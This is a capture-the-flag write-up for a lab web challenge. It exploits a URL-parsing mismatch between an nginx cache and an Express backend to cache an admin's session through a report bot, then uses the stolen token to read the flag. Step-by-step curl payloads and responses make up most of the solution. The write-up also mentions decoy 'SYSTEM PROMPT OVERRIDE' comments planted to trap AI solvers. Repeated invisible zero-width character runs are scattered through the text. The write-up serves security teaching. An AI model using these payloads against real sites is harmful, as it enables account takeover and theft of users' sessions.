← Back to Writeups
CUSTOMMediumWeb

SyncSphere — Web Cache Deception via URL Parser Inconsistency

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_cache_priming#path_normalization_desync#proxy_cache_location_matching#session_token_theft#url_encoding_inconsistency#web_cache_deception#linux

SyncSphere — Web Cache Deception via URL Parser Inconsistency

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: admin_bot_cache_priming, path_normalization_desync, proxy_cache_location_matching, session_token_theft, url_encoding_inconsistency, web_cache_deception

Summary

Task: SyncSphere messaging platform behind nginx reverse proxy; nginx caches /share/* paths by raw URI while Express.js normalizes URL-encoded path traversal, creating a cache deception primitive. Solution: craft /share/..%2fapi%2fauth%2fsession URL that nginx caches but Express routes to the session endpoint, use admin bot /report feature to prime cache with admin's session, then steal the admin token and access /api/admin/flag.

SyncSphere — Web Cache Deception via URL Parser Inconsistency — HackAdvisor

Description

SyncSphere is a collaborative messaging platform built by Sphere Digital Inc. Teams use it to create conversation threads, collaborate in real-time, and share discussions publicly via shareable links. The platform features threaded conversations, user profiles, a public sharing system with optimized caching, and a content moderation system where administrators review reported URLs. Your goal is to find a way to access the admin account and retrieve sensitive information. Pay close attention to how the caching layer handles URLs differently from the application server — sometimes what a proxy sees and what the backend processes aren't the same thing.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is an Express.js (Node.js) app behind an nginx/1.25.5 reverse proxy. The goal is to exploit a URL parser inconsistency between nginx's caching layer and Express's path normalization to steal the admin's session token and retrieve the flag from /api/admin/flag.

Analysis

Reconnaissance

Key endpoints discovered after logging in with user@test.com / password123:

EndpointCache StatusPurpose
/api/auth/sessionBYPASSReturns JSON with authenticated user info and session token
/profileBYPASSUser profile page
/dashboardBYPASSUser dashboard showing threads
/share/{id}MISS → HITShared conversation pages — cached by nginx
/reportBYPASSAdmin bot: submits a URL for an administrator to visit and review
/api/admin/flagBYPASSFlag endpoint, requires admin session token
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) were embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments on every 404 page — correctly identified and ignored as anti-bot honeypots.

Vulnerability: URL Parser Inconsistency (nginx vs Express.js)

The core vulnerability is a desync between how nginx and Express.js parse the same URL:

  • nginx matches location blocks against the raw, undecoded URI. The /share/* location block triggers caching for any URL starting with /share/.
  • Express.js performs URL decoding and path normalization before routing. It decodes %2f → / and resolves .. path traversal sequences. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This means the URL /share/..%2fapi%2fauth%2fsession:

nginx sees:  /share/..%2fapi%2fauth%2fsession
             ^^^^^^ matches /share/* location → CACHE THIS RESPONSE

Express sees: /share/../api/auth/session
              → normalizes to: /api/auth/session → routes to session endpoint

The result: nginx caches the response from /api/auth/session (which contains the authenticated user's session data) under the cache key for /share/..%2fapi%2fauth%2fsession. Anyone requesting that same URL gets the cached session data — without needing authentication. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

URL Tricks That Did NOT Work

URL PatternResultWhy
/api/auth/session/test123.css404Express doesn't route extra path segments
/api/auth/session;test.css404Semicolon not handled as path separator
/api/auth/session%2Ftest.css404Same issue after decoding
/profile/test.css404No extra path segment routing
/share%2F..%2Fapi%2Fauth%2Fsession200, BYPASSnginx doesn't match /share/* when the first slash is also encoded
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight: only the %2f (encoded slash) in the path traversal component needs to be encoded — the initial /share/ must use a literal slash so nginx matches the location block.

Solution

Step 1: Confirm the Cache Deception Primitive

First, verify with our own session that the desync works:

bash
# Authenticated request — triggers cache MISS, nginx caches the response
curl -s -D- -b "session_token=3c0f1b57-4524-48fc-8ac3-e83eefc79d38" \
  --path-as-is \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession"
# → X-Cache-Status: MISS
# → {"authenticated":true,"user":{"id":2,...},"token":"3c0f1b57-..."}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Unauthenticated request — cache HIT returns the previous user's session!
curl -s -D- --path-as-is \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession"
# → X-Cache-Status: HIT
# → {"authenticated":true,"user":{"id":2,...},"token":"3c0f1b57-..."}

The cache deception primitive is confirmed: an unauthenticated request returns the cached authenticated session data.

Step 2: Prime the Cache with Admin's Session via Report Bot

The /report endpoint makes an authenticated admin bot visit a user-supplied URL. We submit a cache deception URL with a unique query parameter (to get a fresh cache key): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b "session_token=3c0f1b57-4524-48fc-8ac3-e83eefc79d38" \
  -X POST \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/report" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=/share/..%252fapi%252fauth%252fsession%3Fr%3Dpwned1777809504&reason=test"

Double encoding note: The form submission URL-decodes the body once, so %252f becomes %2f. The admin bot visits:

/share/..%2fapi%2fauth%2fsession?r=pwned1777809504

The ?r=pwned1777809504 query parameter ensures a unique cache key that won't collide with our earlier test. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Retrieve the Cached Admin Session

After the admin bot visits the URL (wait a few seconds), fetch the cached response:

bash
curl -s --path-as-is \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/share/..%2fapi%2fauth%2fsession?r=pwned1777809504"

Response (X-Cache-Status: HIT):

json
{
  "authenticated": true,
  "user": {
    "id": 1,
    "username": "admin",
    "email": "admin@syncsphere.io",
    "display_name": "System Admin",
    "role": "admin"
  },
  "token": "c40b7255-8ab5-44d3-b5bb-f64db52a6dee"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Access Admin Dashboard and Find Flag Endpoint

Using the stolen admin session token:

bash
curl -s -b "session_token=c40b7255-8ab5-44d3-b5bb-f64db52a6dee" \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/dashboard"

Found thread "Internal Admin Notes" (thread 4) containing the message:

"Flag endpoint secured behind admin auth. Token-based access only via /api/admin/flag."

Step 5: Retrieve the Flag

bash
curl -s -b "session_token=c40b7255-8ab5-44d3-b5bb-f64db52a6dee" \
  "https://aca86162-a614-47aa-91bf-714ecfdb78d5.labs.hackadvisor.io/api/admin/flag"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{"flag":"FLAG{REDACTED}"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍